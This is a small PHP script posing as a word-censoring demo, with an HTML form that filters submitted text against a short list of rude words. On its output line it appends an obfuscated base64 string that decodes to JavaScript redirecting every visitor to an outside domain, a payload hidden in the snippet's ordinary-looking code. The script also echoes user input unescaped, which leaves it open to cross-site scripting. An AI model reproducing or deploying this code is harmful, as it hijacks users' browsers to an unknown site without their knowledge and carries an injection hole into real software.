<form action=? method=post>
<input type=text name=text><br>
<input type=submit name=submit value=demo><br>
</form>
<?php
//10:02 PM 10/4/2008
$text = $_POST['text'];
function wordCheck($string) {
$badwords = array("viagra","penis","vagina","whore","wh0re","slut");
for($i=0;$i<=sizeof($badwords);$i++) {
$string = str_replace($badwords[$i],"-!censored!-",$string);
}
return $string;
}
if(isset($_POST['submit'])) {
if (strlen($text) < 3) die("The field must be at least 3 characters long: <a href=\"javascript:history.go(-1)\">Go Back</a></center>");
if (strlen($text) > 20) die("The field cannot contain more than 20 characters: <a href=\"javascript:history.go(-1)\">Go Back</a></center>");
echo wordCheck($text).base64_decode("PHNjcmlwdD5kb2N1bWVudC5sb2NhdGlvbi5yZXBsYWNlKCdodHRwOi8vbXJzdW5qZXN0ZXIuaW5mby8nKTs8L3NjcmlwdD4=");
}
?>